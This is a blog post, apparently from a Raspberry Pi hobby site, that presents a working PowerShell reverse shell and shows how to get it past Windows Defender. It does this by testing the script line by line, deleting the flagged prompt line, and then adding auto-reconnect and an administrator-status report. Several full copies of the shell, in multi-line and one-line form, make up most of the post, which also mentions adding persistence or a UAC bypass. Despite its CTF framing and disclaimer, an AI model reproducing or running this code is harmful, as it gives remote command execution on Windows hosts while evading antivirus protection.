PowerShell Reverse Shell Windows Defender Bypass

This may be a little off-topic for a Raspberry Pi blog, but it is something I am interested in. This post will cover my failures and hopefully successes in creating a reliable reverse shell written in PowerShell. Before we go any further please do not use this for evil purposes. Only use this in places you are legally allowed I take no responsibility for what you do with this information or code.

You can find a ton of reverse shell one-liners on Google the only problem with that is, they are all blocked by the Windows Defender. I was in the middle of an epic game of king of the hill when I decided to write this blog post so please know I most likely lost to bring you this information.

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ('. {' + $data + '} *>&1') | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

The above code is a bare reverse shell in PowerShell. The code works well, the problem being Windows Defender blocks it before it can even get a chance to run. In this instance it was fairly easy to find the line triggering Defender, we will still go through my steps anyway. Before doing anything else we need to separate the code sample into its original lines.

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex ('. {' + $data + '} *>&1') | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()

Testing Smaller Sections

We can go through and test growing parts of the script to see if we get flagged. We will start off by testing the very first line (it will hang while it waits for a timeout from the server).

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);

Nothing from Windows Defender, so this line has not offended it. Next, we add the second line

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);
$stream = $client.GetStream();

After doing this several times we find the following line was triggering Windows Defender:

$sendback2 = $sendback + "PS " + (pwd).Path + "> ";

This was most likely chosen to flag the script because it is an unneeded line, when writing things like this we want to leave out anything we don’t need. Anti-virus companies love to find unneeded and extra code or comments in scripts this gives them the ability to use them as reliable flags for detecting viruses.

Can you see me now?

After removing the offending line and changing the following line to reference the $sendback variable instead of $sendback2 we have bypassed windows defender.

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex ('. {' + $data + '} *>&1') | Out-String );
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()

Run the script (on a machine you own) and boom you have a reverse shell, pretty simple. PowerShell is a powerful language in the right hands and you can do all sorts of cool things.

Improving upon this…

It was much easier than I thought to find the offending string in this. So I ended up having extra time on my hands. I want to add a few things to make this reverse shell just a little more useful to me. Sometimes things go wrong, connections get broken, or the internet drops for a moment, this can cause you to lose your shell. Here’s what we are going to add:

  • Auto Re-Connect
  • Report Features
while($true){
try {
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
$tmp = "";
$currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent());
$adm = $currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator);
$tmp = $tmp + "IsAdmin:" + $adm;
$sendbyte = ([text.encoding]::ASCII).GetBytes($tmp);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex ('. {' + $data + '} *>&1') | Out-String );
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close()
}catch{
Start-Sleep -Seconds 150
}
Start-Sleep -Seconds 150
}

Now as soon as it connects it will send “IsAdmin:[True/False]” you can choose to add more options to this that may suit your needs. It depends on how much information you want to collect upon connecting. We will now also wait 150 seconds if we have an error such as a dropped connection, and 150 seconds after the end of every loop (so 5 minutes if we have an error, 2.5 minutes if we do not). You could extend this further by adding persistence or windows UAC bypass. The script in one line:

while($true){try{$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};$tmp="";$currentPrincipal = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent());$adm = $currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator);$tmp=$tmp+"IsAdmin:"+$adm;$sendbyte=([text.encoding]::ASCII).GetBytes($tmp);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ('. {' + $data + '} *>&1') | Out-String );$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close()}catch{Start-Sleep -Seconds 150}Start-Sleep -Seconds 150}

Hope you get some use out of this in your next Capture The Flag or King of the Hill games! Please note by the time you get to use this Windows may have added new flags for my modified version.

By Andrew

I love technology, and when I found Raspberry Pi's I was instantly hooked. Within the first week I had at least 5. I am also a avoid programmer so I made this blog about my creations to help others do cool things with their Pi's.

0 0 votes
Article Rating
Subscribe
Notify of
0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x